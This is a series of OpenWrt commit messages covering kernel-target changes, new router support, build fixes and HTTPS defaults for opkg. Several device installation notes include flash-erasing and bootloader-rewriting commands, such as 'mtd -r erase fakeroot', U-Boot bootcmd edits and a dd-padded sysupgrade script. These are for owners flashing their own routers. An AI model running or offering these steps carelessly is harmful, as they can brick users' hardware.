Drop these erase callback invocations from AR2315 MTD driver as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Discussion on the mailing list reveals that this target has active
users. As we are finally able to upgrade this target to kernel 5.4,
add it back to master.
This reverts commit 7d29a55714 ("ath25: drop target") and
immediately moves the relevant files to 5.4, without touching
the content.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is the same as loader-kernel since the KERNEL_CMDLINE
parameter has been removed in [1] and not used at all anyway.
Remove it.
[1] f77db1a590 ("ath79: cleanup image build code")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
This patch adds support for D-Link DIR-2660 A1.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WPS
* LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white),
WiFi 5G (white), USB 3.0 (white), USB 2.0 (white)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
MAC addresses:
lan factory 0xe000 *:a7 (label)
wan factory 0xe006 *:aa
2.4 factory 0xe000 +1 *:a8
5.0 factory 0xe000 +2 *:a9
Seems like vendor didn't replace the dummy entries in the calibration data.
Signed-off-by: Josh Bendavid <joshbendavid@gmail.com>
[rebase onto already merged DIR-1960 A1, add MAC addresses to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Devices with PCIe-Switches like the WNDR4700, MR24 and WNDAP660
need to have the interrupts property specified in the device-tree
for the legacy pci interrupt signaling method to work.
If the proper interrupt value is not specified, the default INTA
IRQ 12 is taken for all devices. This is especially bad, if the
device is setup to use INTC, because these interrupts will not
be serviced.
Russell Senior reported his experience on the MR24:
"The symptom is client devices can't see the beacons.
Wifi ifaces appear, can scan and hear other networks,
but clients can't see the MR24's SSIDs."
(The interrupts-property on the WNDAP620 was optional since it
uses INTA by default. Likewise the MX60W is in the same category)
Reported-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The LED's "label" property has been deprecated in upstream by:
|commit c5d18dd6b64e09dd6984bda9bdd55160af537a8c
|Author: Jacek Anaszewski <jacek.anaszewski@gmail.com>
|Date: Sun Jun 9 20:19:04 2019 +0200
|
| dt-bindings: leds: Add properties for LED name construction
|
| Introduce dedicated properties for conveying information about
| LED function and color. Mark old "label" property as deprecated.
|
| Additionally function-enumerator property is being provided
| for the cases when neither function nor color can be used
| for LED differentiation.
in order to be somewhat prepared, this patch adds a fallback
as a last resort to make the current led code work by falling
back to the node-name as the "label".
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
af30be0 Fix setting prefix for IPv6 link-local addresss
0314df4 Disable asking password again when prompt program returns 128
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Adding inline shell invocations in per-target variables causes them to be
executed over and over again, which causes a significant slowdown.
Fix this by evaluating it only once per package directory
Signed-off-by: Felix Fietkau <nbd@nbd.name>
mt76 now spreads the load over multiple CPUs more smoothly, processing
ethernet packets should be faster running on one core
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The linux upstream commit had treated config leak as error.
5967577 scripts: headers_install: Exit with error on config leak
It is causing below build issue. Provide a kernel patch to fix
it by replacing CONFIG_COMPAT kernel option with FM_COMPAT instead.
HDRINST usr/include/linux/fmd/integrations/integration_ioctls.h
HDRINST usr/include/linux/fmd/Peripherals/fm_port_ioctls.h
error: include/uapi/linux/fmd/Peripherals/fm_port_ioctls.h: leak
CONFIG_COMPAT to user-space
scripts/Makefile.headersinst:63: recipe for target
'usr/include/linux/fmd/Peripherals/fm_port_ioctls.h' failed
make[5]: *** [usr/include/linux/fmd/Peripherals/fm_port_ioctls.h] Error 1
Makefile:1198: recipe for target 'headers' failed
make[4]: *** [headers] Error 2
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
The LSM (Linux security mechanism) list is the successor of the now
legacy *major LSM*. Instead of defining a single security mechanism the
LSM symbol is a comma separated list of mechanisms to load.
Until recently OpenWrt would only support DAC (Unix discretionary access
controls) which don't require an additional entry in the LSM list. With
the newly introduced SELinux support the LSM needs to be extended else
only a manual modified Kernel cmdline (`security=selinux`) would
activate SELinux.
As the default OpenWrt Kernel config sets DAC as default security
mechanism, SELinux is stripped from the LSM list, even if
`KERNEL_DEFAULT_SECURITY_SELINUX` is activated. To allow SELinux without
a modified cmdline this commit sets a specific LSM list if
`KERNEL_SECURITY_SELINUX` is enabled.
The upstream Kconfig adds even more mechanisms
(smack,selinux,tomoyo,apparmor), but until they're ported to OpenWrt,
these can be ignored.
To compile SELinux Kernel support but disable it from loading, the
already present options `KERNEL_SECURITY_SELINUX_DISABLE` or
`KERNEL_SECURITY_SELINUX_BOOTPARAM` (with custom cmdline `selinux=0`)
can be used. Further it's possible to edit `/etc/selinux/config`.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The HooToo HT-TM05 is a battery powered router, with an Ethernet and USB port.
Vendor U-Boot limited to 1.5 MB kernel size, so use lzma loader (loader-okli).
Specifications:
SOC: MediaTek MT7620N
BATTERY: 10400mAh
WLAN: 802.11bgn
LAN: 1x 10/100 Mbps Ethernet
USB: 1x USB 2.0 (Type-A)
RAM: 64 MB
FLASH: GigaDevice GD25Q64, Serial 8 MB Flash, clocked at 50 MHz
Flash itself specified to 80 MHz, but speed limited by mt7620 SPI
fast-read enabled (m25p)
LED: Status LED (blue after boot, green with WiFi traffic
4 leds to indicate power level of the battery (unable to control)
INPUT: Power, reset button
MAC assignment based on vendor firmware:
2.4 GHz *:b4 (factory 0x04)
LAN/label *:b4 (factory 0x28)
WAN *:b5 (factory 0x2e)
Tested and working:
- Ethernet
- 2.4 GHz WiFi (Correct MAC-address)
- Installation from TFTP (recovery)
- OpenWRT sysupgrade (Preserving and non-preserving), through the usual
ways: command line and LuCI
- LEDs (except as noted above)
- Button (reset)
- I2C, which is needed for reading battery charge status and level
- U-Boot environment / variables (from U-Boot, and OpenWrt)
Installation:
- Download the needed OpenWrt install files, place them in the root
of a clean TFTP server running on your computer. Rename the files as,
- ramips-mt7620-hootoo_tm05-squashfs-kernel.bin => kernel
- ramips-mt7620-hootoo_tm05-squashfs-rootfs.bin => rootfs
- Plug the router into your computer via Ethernet
- Set your computer to use 10.10.10.254 as its IP address
- With your router shut down, hold down the power button until the first
white LED lights up.
- Push and hold the reset button and release the power button. Continue
holding the reset button for 30 seconds or until it begins searching
for files on your TFTP server, whichever comes first.
- The router (10.10.10.128) will look for your computer at 10.10.10.254
and install the two files. Once it has finished installation, it will
automatically reboot and start up OpenWrt.
- Set your computer to use DHCP for its IP address
Notes:
- U-Boot environment can be modified, u-boot-env is preserved on initial
install or sysupgrade
- mtd-concat functionality is included, to leave a "hole" for u-boot-env,
combining the OEM kernel and rootfs partitions
I would like to thank @mpratt14 and @xabolcs for their help getting the
lzma loader to work!
Signed-off-by: Russell Morris <rmorris@rkmorris.us>
[drop changes in image/Makefile, fix indent and PKG_RELEASE in
uboot-envtools, fix LOADER_FLASH_OFFS, minor commit message facelift,
add COMPILE to Device/Default]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
FLASH_START is supposed to point at the memory area where NOR flash are
mapped. We currently have an incorrect FLASH_START copied from ar71xx
back then and the loader doesn't work under OKLI mode.
On ramips, mt7621 has it's flash mapped to 0x1fc00000 and other SoCs
uses 0x1c000000. This commit makes FLASH_START a configurable value to
handle both cases.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This removes switches dependent on kernel version 4.14 as well as
several packages/modules selected only for that version.
This also removes sched-cake-virtual, which is not required anymore
now that we have only one variant of cake.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The target seems to be working on 5.4, so drop 4.14 support in
preparation for removing it from master entirely.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The target seems to be working on 5.4, so drop 4.14 support in
preparation for removing it from master entirely.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The target seems to be working on 5.4, so drop 4.14 support in
preparation for removing it from master entirely.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target is still on kernel 4.14, and no attempt has been made to
update it to a newer kernel. Since we already are two LTS versions ahead
of that the target is dropped, as the chance of somebody bumping it will
only decrease with time.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target is still on kernel 4.14, and recent attempts to move it to
kernel 5.4 have not led to success. The device tester reported that it
wouldn't boot with the following messages:
From sysupgrade:
Press any key within 4 seconds to enter setup....
loading kernel from nand... OK
setting up elf image... OK
jumping to kernel code
At this point the system hangs.
From CompactFlash:
Press any key within 4 seconds to enter setup....
Booting CF
Loading kernel... done
setting up elf image... kernel out of range kernel loading failed
The tester reported that the same was observed with current master
(kernel 4.14) as well. This looks like some kernel size restriction.
Since this target is quite old and only supports one device, and since
nobody else seemed interested in working on this for quite some time,
I decided to not put further work into analyzing the problem and drop
this together with the other 4.14-only targets.
Patchwork series:
https://patchwork.ozlabs.org/project/openwrt/list/?series=197066&state=*
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target still only works with kernel 4.14, and not so recent
attempts of getting newer kernel versions supported did not lead
to success. Therefore, drop the target, as we are already two
LTS kernel versions ahead and it does not seem like anybody will
pick up the work.
Patchwork series:
https://patchwork.ozlabs.org/project/openwrt/list/?series=169991&state=*
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This sorts the added tools and builddir dependencies alphabetically
to make it easier to find something in the Makefile.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
These tools have been used by the orion target which has been
removed in Jan 2020 [1].
Both were specifically meant for the WRT350Nv2, which is not
supported anymore.
So, let's remove them as well.
[1] 89f2deb372 ("orion: remove unmaintained target")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This release of Mbed TLS provides bug fixes and minor enhancements. This
release includes fixes for security issues and the most notable of them
are described in more detail in the security advisories.
* Local side channel attack on RSA and static Diffie-Hellman
* Local side channel attack on classical CBC decryption in (D)TLS
* When checking X.509 CRLs, a certificate was only considered as revoked
if its revocationDate was in the past according to the local clock if
available.
Full release announcement:
https://github.com/ARMmbed/mbedtls/releases/tag/v2.16.8
Signed-off-by: Magnus Kroken <mkroken@gmail.com>
Using fakeroot without passing the paths to libfakeroot.sh and faked
causes havoc. Use the $(FAKEROOT) Make variable which includes them.
Fixes: 353ce2e521 ("build: ipkg-build use fakeroot with PKG_FILE_MODES")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Drop init script from libaudit package. It will be added to the
'audit' package in the packages feed.
Fixes: efdf619f21 ("audit: build only libaudit")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The key folder is used by `opkg` and `usign` to store and retrieve
trusted public keys. Using `opkg-key` outside a running device is
unfeasible as the key folder is hard coded to `/etc/opkg/keys`.
This commit adds a variable OPKG_KEYS which defaults to `/etc/opkg/keys`
if unset, however allows set arbitrary key folder locations.
Arbitrary key folder locations are useful to add signature verification
to the ImageBuilders.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Deactivate multiple personalities support, because this causes compile
problems at least on the x86/64 target. As OpenWrt compiles all
binaries itself all binaries will use the native personality which is
also used by strace. This change will make it impossible to debug i386
binaries on x86_64 OpenWrt targets for example.
Just deactivate it for ARM64 too.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
hwclock was fixed to work with musl.
Unfortunately, the fix breaks under musl 1.2.x. Backported patch to fix
that.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Switched to upstream tarballs.
Switched to libcxxabi as using libsupc++ is quite wonky.
Fixed description.
Removed patches. The fixes are cosmetic.
Added ssp patch. This one is needed for i386 and powerpc under musl.
Compile tested every C++ package in the tree with the exception of
several boost packages. There's something broken with boost.
Ran tested with gerbera.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
This will be used for libcxx.
libcxxabi is needed as libsupc++ is not good enough for libcxx. It uses
GCC specific stuff which causes failed compilation for some packages.
There are also runtime issues, most notably with cxxopts where the
program just crashes.
Reference: https://github.com/gerbera/gerbera/issues/795
Added patch to fix ARM compilation.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Static libraries and headers of libselinux and libsepol are required
for checkpolicy to build.
Fixes error:
policy_parse.y:45:10: fatal error: sepol/policydb/expand.h: No such file or directory
#include <sepol/policydb/expand.h>
^~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Fixes build error:
load_policy.c:11:10: fatal error: libintl.h: No such file or directory
#include <libintl.h> /* for gettext() */
^~~~~~~~~~~
compilation terminated.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
FCC ID: U2M-ENH200
Engenius ENH202 is an outdoor wireless access point with 2 10/100 ports,
built-in ethernet switch, internal antenna plates and proprietery PoE.
Specification:
- Qualcomm/Atheros AR7240 rev 2
- 40 MHz reference clock
- 8 MB FLASH ST25P64V6P (aka ST M25P64)
- 32 MB RAM
- UART at J3 (populated)
- 2x 10/100 Mbps Ethernet (built-in switch at gmac1)
- 2.4 GHz, 2x2, 29dBm (Atheros AR9280 rev 2)
- internal antenna plates (10 dbi, semi-directional)
- 5 LEDs, 1 button (LAN, WAN, RSSI) (Reset)
Known Issues:
- Sysupgrade from ar71xx no longer possible
- Power LED not controllable, or unknown gpio
MAC addresses:
eth0/eth1 *:11 art 0x0/0x6
wlan *:10 art 0x120c
The device label lists both addresses, WLAN MAC and ETH MAC,
in that order.
Since 0x0 and 0x6 have the same content, it cannot be
determined which is eth0 and eth1, so we chose 0x0 for both.
Installation:
2 ways to flash factory.bin from OEM:
- Connect ethernet directly to board (the non POE port)
this is LAN for all images
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
In upper right select Reset
"Restore to factory default settings"
Wait for reboot and login again
Navigate to "Firmware Upgrade" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt boot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9f670000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
Return to OEM:
If you have a serial cable, see Serial Failsafe instructions
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, can cause kernel loop or halt
The easiest way to return to the OEM software is the Failsafe image
If you dont have a serial cable, you can ssh into openwrt and run
`mtd -r erase fakeroot`
Wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
Format of OEM firmware image:
The OEM software of ENH202 is a heavily modified version
of Openwrt Kamikaze bleeding-edge. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-senao-enh202-uImage-lzma.bin
openwrt-senao-enh202-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring, and by swapping headers to see
what the OEM upgrade utility accepts and rejects.
OKLI kernel loader is required because the OEM firmware
expects the kernel to be no greater than 1024k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on built-in switch:
ENH202 is originally configured to be an access point,
but with two ethernet ports, both WAN and LAN is possible.
the POE port is gmac0 which is preferred to be
the port for WAN because it gives link status
where swconfig does not.
Signed-off-by: Michael Pratt <mpratt51@gmail.com>
[assign label_mac in 02_network, use ucidef_set_interface_wan,
use common device definition, some reordering]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Engenius ENS202EXT v1 is an outdoor wireless access point with 2 10/100 ports,
with built-in ethernet switch, detachable antennas and proprietery PoE.
FCC ID: A8J-ENS202
Specification:
- Qualcomm/Atheros AR9341 v1
- 535/400/200/40 MHz (CPU/DDR/AHB/REF)
- 64 MB of RAM
- 16 MB of FLASH MX25L12835F(MI-10G)
- UART (J1) header on PCB (unpopulated)
- 2x 10/100 Mbps Ethernet (built-in switch Atheros AR8229)
- 2.4 GHz, up to 27dBm (Atheros AR9340)
- 2x external, detachable antennas
- 7x LED (5 programmable in ath79), 1x GPIO button (Reset)
Known Issues:
- Sysupgrade from ar71xx no longer possible
- Ethernet LEDs stay on solid when connected, not programmable
MAC addresses:
eth0/eth1 *:7b art 0x0/0x6
wlan *:7a art 0x1002
The device label lists both addresses, WLAN MAC and ETH MAC,
in that order.
Since 0x0 and 0x6 have the same content, it cannot be
determined which is eth0 and eth1, so we chose 0x0 for both.
Installation:
2 ways to flash factory.bin from OEM:
- Connect ethernet directly to board (the non POE port)
this is LAN for all images
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
In upper right select Reset
"Restore to factory default settings"
Wait for reboot and login again
Navigate to "Firmware Upgrade" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt boot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fdf0000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
*If you are unable to get network/LuCI after flashing*
You must perform another factory reset:
After waiting 3 minutes or when Power LED stop blinking:
Hold Reset button for 15 seconds while powered on
or until Power LED blinks very fast
release and wait 2 minutes
Return to OEM:
If you have a serial cable, see Serial Failsafe instructions
*DISCLAIMER*
The Failsafe image is unique to this model.
The following directions are unique to this model.
DO NOT downgrade to ar71xx this way, can cause kernel loop
The easiest way to return to the OEM software is the Failsafe image
If you dont have a serial cable, you can ssh into openwrt and run
`mtd -r erase fakeroot`
Wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
TFTP Recovery:
For some reason, TFTP is not reliable on this board.
Takes many attempts, many timeouts before it fully transfers.
Starting with an initramfs.bin:
Connect to ethernet
set IP address and TFTP server to 192.168.1.101
set up infinite ping to 192.168.1.1
rename the initramfs.bin to "vmlinux-art-ramdisk" and host on TFTP server
disconnect power to the board
hold reset button while powering on board for 8 seconds
Wait a minute, power LED should blink eventually if successful
and a minute after that the pings should get replies
You have now loaded a temporary Openwrt with default settings temporarily.
You can use that image to sysupgrade another image to overwrite flash.
Format of OEM firmware image:
The OEM software of ENS202EXT is a heavily modified version
of Openwrt Kamikaze bleeding-edge. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-senao-ens202ext-uImage-lzma.bin
openwrt-senao-ens202ext-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring, and by swapping headers to see
what the OEM upgrade utility accepts and rejects.
Note on the factory.bin:
The newest kernel is too large to be in the kernel partition
the new ath79 kernel is beyond 1592k
Even ath79-tiny is 1580k
Checksum fails at boot because the bootloader (modified uboot)
expects kernel to be 1536k. If the kernel is larger, it gets
overwritten when rootfs is flashed, causing a broken image.
The mtdparts variable is part of the build and saving a new
uboot environment will not persist after flashing.
OEM version might interact with uboot or with the custom
OEM partition at 0x9f050000.
Failed checksums at boot cause failsafe image to launch,
allowing any image to be flashed again.
HOWEVER: one should not install older Openwrt from failsafe
because it can cause rootfs to be unmountable,
causing kernel loop after successful checksum.
The only way to rescue after that is with a serial cable.
For these reasons, a fake kernel (OKLI kernel loader)
and fake squashfs rootfs is implemented to take care of
the OEM firmware image verification and checksums at boot.
The OEM only verifies the checksum of the first image
of each partition respectively, which is the loader
and the fake squashfs. This completely frees
the "firmware" partition from all checks.
virtual_flash is implemented to make use of the wasted space.
this leaves only 2 erase blocks actually wasted.
The loader and fakeroot partitions must remain intact, otherwise
the next boot will fail, redirecting to the Failsafe image.
Because the partition table required is so different
than the OEM partition table and ar71xx partition table,
sysupgrades are not possible until one switches to ath79 kernel.
Note on sysupgrade.tgz:
To make things even more complicated, another change is needed to
fix an issue where network does not work after flashing from either
OEM software or Failsafe image, which implants the OEM (Openwrt Kamikaze)
configuration into the jffs2 /overlay when writing rootfs from factory.bin.
The upgrade script has this:
mtd -j "/tmp/_sys/sysupgrade.tgz" write "${rootfs}" "rootfs"
However, it also accepts scripts before and after:
before_local="/etc/before-upgradelocal.sh"
after_local="/etc/after-upgradelocal.sh"
before="before-upgrade.sh"
after="after-upgrade.sh"
Thus, we can solve the issue by making the .tgz an empty file
by making a before-upgrade.sh in the factory.bin
Note on built-in switch:
There is two ports on the board, POE through the power supply brick,
the other is on the board. For whatever reason, in the ar71xx target,
both ports were on the built-in switch on eth1. In order to make use
of a port for WAN or a different LAN, one has to set up VLANs.
In ath79, eth0 and eth1 is defined in the DTS so that the
built-in switch is seen as eth0, but only for 1 port
the other port is on eth1 without a built-in switch.
eth0: switch0
CPU is port 0
board port is port 1
eth1: POE port on the power brick
Since there is two physical ports,
it can be configured as a full router,
with LAN for both wired and wireless.
According to the Datasheet, the port that is not on the switch
is connected to gmac0. It is preferred that gmac0 is chosen as WAN
over a port on an internal switch, so that link status can pass
to the kernel immediately which is more important for WAN connections.
Signed-off-by: Michael Pratt <mpratt51@gmail.com>
[apply sorting in 01_leds, make factory recipe more generic, create common
device node, move label-mac to 02_network, add MAC addresses to commit
message, remove kmod-leds-gpio, use gzip directly]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This network setup for MikroTik devices based on the LHG-HB platform
avoids using the integrated switch and connects the single Ethernet
port directly. This way, link speed (10/100 Mbps) is properly repor-
ted by eth0.
Fixes: FS#3309
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The base address is used for the LAN and 2G WLAN interfaces.
5G WLAN interface is +1 and the PLC interface uses +2.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
[improve commit title, fix assignment in 11-ath10k-caldata]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Port device support for Meraki MR16 from the ar71xx target to ath79.
Specifications:
* AR7161 CPU, 16 MiB Flash, 64 MiB RAM
* One PoE-capable Gigabit Ethernet Port
* AR9220 / AR9223 (2x2 11an / 11n) WLAN
Installation:
* Requires TFTP server at 192.168.1.101, w/ initramfs & sysupgrade .bins
* Open shell case and connect a USB to TTL cable to upper serial headers
* Power on the router; connect to U-boot over 115200-baud connection
* Interrupt U-boot process to boot Openwrt by running:
setenv bootcmd bootm 0xbf0a0000; saveenv;
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin;
bootm 0c00000;
* Copy sysupgrade image to /tmp on MR16
* sysupgrade /tmp/<filename-of-sysupgrade>.bin
Notes:
- There are two separate ARTs in the partition (offset 0x1000/0x5000 and
0x11000/0x15000) in the OEM device. I suspect this is an OEM artifact;
possibly used to configure the radios for different regions,
circumstances or RF frontends. Since the ar71xx target uses the
second offsets, use that second set (0x11000 and 0x15000) for the ART.
- kmod-owl-loader is still required to load the ART partition into the
driver.
- The manner of storing MAC addresses is updated from ar71xx; it is
at 0x66 of the 'config' partition, where it was discovered that the
OEM firmware stores it. This is set as read-only. If you are
migrating from ar71xx and used the method mentioned above to
upgrade, use kmod-mtd-rw or UCI to add the MAC back in. One more
method for doing this is described below.
- Migrating directly from ar71xx has not been thoroughly tested, but
one method has been used a couple of times with good success,
migrating 18.06.2 to a full image produced as of this commit. Please
note that these instructions are only for experienced users, and/or
those still able to open their device up to flash it via the serial
headers should anything go wrong.
1) Install kmod-mtd-rw and uboot-envtools
2) Run `insmod mtd-rw.ko i_want_a_brick=1`
3) Modify /etc/fw_env.config to point to the u-boot-env partition.
The file /etc/fw_env.config should contain:
# MTD device env offset env size sector size
/dev/mtd1 0x00000 0x10000 0x10000
See https://openwrt.org/docs/techref/bootloader/uboot.config
for more details.
4) Run `fw_printenv` to verify everything is correct, as per the
link above.
5) Run `fw_setenv bootcmd bootm 0xbf0a0000` to set a new boot address.
6) Manually modify /lib/upgrade/common.sh's get_image function:
Change ...
cat "$from" 2>/dev/null | $cmd
... into ...
(
dd if=/dev/zero bs=1 count=$((0x66)) ; # Pad the first 102 bytes
echo -ne '\x00\x18\x0a\x12\x34\x56' ; # Add in MAC address
dd if=/dev/zero bs=1 count=$((0x20000-0x66-0x6)) ; # Pad the rest
cat "$from" 2>/dev/null | $cmd
)
... which, during the upgrade process, will pad the image by
128K of zeroes-plus-MAC-address, in order for the ar71xx's
firmware partition -- which starts at 0xbf080000 -- to be
instead aligned with the ath79 firmware partition, which
starts 128K later at 0xbf0a0000.
7) Copy the sysupgrade image into /tmp, as above
8) Run `sysupgrade -F /tmp/<sysupgrade>.bin`, then wait
Again, this may BRICK YOUR DEVICE, so make *sure* to have your
serial cable handy.
Addenda:
- The MR12 should be able to be migrated in a nearly identical manner as
it shares much of its hardware with the MR16.
- Thank-you Chris B for copious help with this port.
Signed-off-by: Martin Kennedy <hurricos@gmail.com>
[fix typo in compat message, drop art DT label,
move 05_fix-compat-version to subtarget]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[fix build with GCC 10 and disable MIPS16 as build emits sync instruction]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
Add support for building bpftool and libbpf from the latest 5.8.3 kernel
sources, ensuring up-to-date functionality and fixes. Both are written to
be backwards compatible, which simplfies build and usage across different
OpenWRT image kernels.
'bpftool' is the primary userspace tool widely used for introspection and
manipulation of eBPF programs and maps. Two variants are built: a 'full'
version which supports object disassembly and depends on libbfd/libopcodes
(total ~500KB); and a 'minimal' version without disassembly functions and
dependencies. The default 'minimal' variant is otherwise fully functional,
and both are compiled using LTO for further (~30KB) size reductions.
'libbpf' provides shared/static libraries and dev files needed for building
userspace programs that perform eBPF interaction.
Several cross-compilation and build-failure problems are addressed by new
patches and ones backported from farther upstream:
* 001-libbpf-ensure-no-local-symbols-counted-in-ABI-check.patch
* 002-libbpf-fix-build-failure-from-uninitialized-variable.patch
* 003-bpftool-allow-passing-BPFTOOL_VERSION-to-make.patch
* 004-v5.9-bpftool-use-only-ftw-for-file-tree-parsing.patch
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
Add FTW_ACTIONRETVAL mode and update nftw library for walking file trees.
Update needed to build bpftool userspace utility from Linux kernel source.
Also increment PKG_RELEASE.
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
The variable VERSION_REPO is used by opkg to download package(list)s.
Now that the default installation support encrypted HTTP opkg should
make use of it.
Suggested-by: Petr Štetiar <ynezz@true.cz>
Suggested-by: Baptiste Jonglez <baptiste@bitsofnetworks.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
Acked-by: Baptiste Jonglez <baptiste@bitsofnetworks.org>
The line of default packages became very long and it is easier to read
one package per line, therefore split it by newlines and sort it
alphabetically.
Signed-off-by: Paul Spooren <mail@aparcar.org>
To allow HTTPS usage on a router it requires both certificates
(ca-bundle) and a fitting libustream library (libustream-wolfssl)
By adding both, uclient-fetch and wget can connect to encrypted HTTP.
This allows opkg to update package lists in a more secure fashion.
Suggested-by: Petr Štetiar <ynezz@true.cz>
Suggested-by: Baptiste Jonglez <baptiste@bitsofnetworks.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
Instead of using http and https for source downloads from
downloads.openwrt.org, always use https for it's better security.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The package manager `opkg` offers the function `whatdepends` to print
packages that depend on a specific package.
This feature is useful when used in a CI to not only build an upgraded
package but all packages with a dependency.
Usage:
make whatdepends PACKAGE=libipset
The resulting list can be fed into a SDK building all packages and warn
if anything fails.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The usage of granular `SOURCE_DATE_EPOCH` for packages is an
incrementing integer which could be useful for downstream tooling,
therefore add it to the packages manifest.
Signed-off-by: Paul Spooren <mail@aparcar.org>
With the new `SOURCE` argument of `get_source_date_epoch` it is possible
to set package timestamps based on actual package changes rather thane
$TOPDIR changes.
This commit adds a new variable PKG_SOURCE_DATE_EPOCH which is used by
the `ipkg` build script. As a fallback the existing SOURCE_DATE_EPOCH is
used or as last resort the current time.
The redundant checks for `.git/` and `.svn/` are removed.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The SOURCE_DATE_EPOCH variable is used to make builds reproducible even
if rebuild at different times. Instead of using the current timestamp,
the time of the last source change is used.
Created packages are `touch`ed with a specific timestamp so resulting
packages have the same checksums.
